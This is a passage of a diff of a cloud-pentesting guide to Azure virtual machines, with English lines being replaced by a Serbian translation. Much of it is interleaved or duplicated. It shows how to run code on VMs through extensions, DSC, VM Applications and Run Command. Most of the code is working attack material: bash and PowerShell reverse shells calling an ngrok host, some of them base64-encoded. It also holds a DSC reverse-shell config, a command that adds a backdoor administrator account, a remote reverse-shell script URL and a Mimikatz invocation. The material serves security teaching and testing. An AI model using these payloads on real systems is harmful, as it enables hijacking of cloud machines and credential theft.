--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- Izvrši reverznu ljusku iz datoteke
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Relevant VM extensions
|
||||
|
||||
The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
Zahtevana dozvola je još uvek **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess ekstenzija</summary>
|
||||
|
||||
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VMs putem ove ekstenzije:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -612,37 +581,35 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/).
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [uslugu Automatski nalozi](../az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### VM Applications
|
||||
|
||||
These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
|
||||
### VM Aplikacije
|
||||
|
||||
Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima.
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -650,20 +617,19 @@ az sig list --resource-group <res-group> --output table
|
||||
# List all apps in a fallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
These are the paths were the applications get downloaded inside the file system:
|
||||
Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema:
|
||||
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
|
||||
> Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
|
||||
|
||||
But there **isn't a "marketplace" for vm apps** like there is for extensions.
|
||||
Ali ne **postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije.
|
||||
|
||||
The permissions required are:
|
||||
Potrebne dozvole su:
|
||||
|
||||
- `Microsoft.Compute/galleries/applications/write`
|
||||
- `Microsoft.Compute/galleries/applications/versions/write`
|
||||
@@ -671,62 +637,59 @@ The permissions required are:
|
||||
- `Microsoft.Network/networkInterfaces/join/action`
|
||||
- `Microsoft.Compute/disks/write`
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
Primer eksploatacije za izvršavanje proizvoljnih komandi:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -735,79 +698,73 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### User data
|
||||
### Korisnički podaci
|
||||
|
||||
This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.
|
||||
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci su različiti od AWS i GCP jer **ako ovde stavite skriptu, ona se po defaultu ne izvršava**.
|
||||
|
||||
### Custom data
|
||||
### Prilagođeni podaci
|
||||
|
||||
It's possible to pass some data to the VM that will be stored in expected paths:
|
||||
|
||||
- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
|
||||
- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
|
||||
- **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
|
||||
- I tried that both Ubuntu and Debian execute the script you put here.
|
||||
- It's also not needed to enable user data for this to be executed.
|
||||
Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama:
|
||||
|
||||
- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se.
|
||||
- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućenim podacima
|
||||
- **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima.
|
||||
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju stavite ovde.
|
||||
- Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **Pokreni Komandu**
|
||||
|
||||
### **Run Command**
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -824,42 +781,37 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
## Neautentifikovani pristup
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Postojanost
|
||||
|
||||
{{#ref}}
|
||||
../../az-persistence/az-vms-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
|
||||
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
Azure provides **virtual networks (VNet)** that allows users to create **isolated** **networks** within the Azure cloud. Within these VNets, resources such as virtual machines, applications, databases... can be securely hosted and managed. The networking in Azure supports both the communication within the cloud (between Azure services) and the connection to external networks and the internet.\
|
||||
Moreover, it's possible to **connect** VNets with other VNets and with on-premise networks.
|
||||
Azure pruža **virtuelne mreže (VNet)** koje omogućavaju korisnicima da kreiraju **izolovane** **mreže** unutar Azure oblaka. Unutar ovih VNets, resursi kao što su virtuelne mašine, aplikacije, baze podataka... mogu biti sigurno hostovani i upravljani. Mrežno povezivanje u Azure podržava kako komunikaciju unutar oblaka (između Azure usluga), tako i povezivanje sa spoljnim mrežama i internetom.\
|
||||
Pored toga, moguće je **povezati** VNets sa drugim VNets i sa lokalnim mrežama.
|
||||
|
||||
## Virtual Network (VNET) & Subnets
|
||||
## Virtuelna Mreža (VNET) i Podmreže
|
||||
|
||||
An Azure Virtual Network (VNet) is a representation of your own network in the cloud, providing **logical isolation** within the Azure environment dedicated to your subscription. VNets allow you to provision and manage virtual private networks (VPNs) in Azure, hosting resources like Virtual Machines (VMs), databases, and application services. They offer **full control over network settings**, including IP address ranges, subnet creation, route tables, and network gateways.
|
||||
Azure Virtuelna Mreža (VNet) je reprezentacija vaše vlastite mreže u oblaku, koja pruža **logičku izolaciju** unutar Azure okruženja posvećenog vašoj pretplati. VNets vam omogućavaju da obezbedite i upravljate virtuelnim privatnim mrežama (VPN) u Azure, hostujući resurse kao što su Virtuelne Mašine (VM), baze podataka i usluge aplikacija. One nude **potpunu kontrolu nad mrežnim podešavanjima**, uključujući opsege IP adresa, kreiranje podmreža, tabele ruta i mrežne prolaze.
|
||||
|
||||
**Subnets** are subdivisions within a VNet, defined by specific **IP address ranges**. By segmenting a VNet into multiple subnets, you can organize and secure resources according to your network architecture.\
|
||||
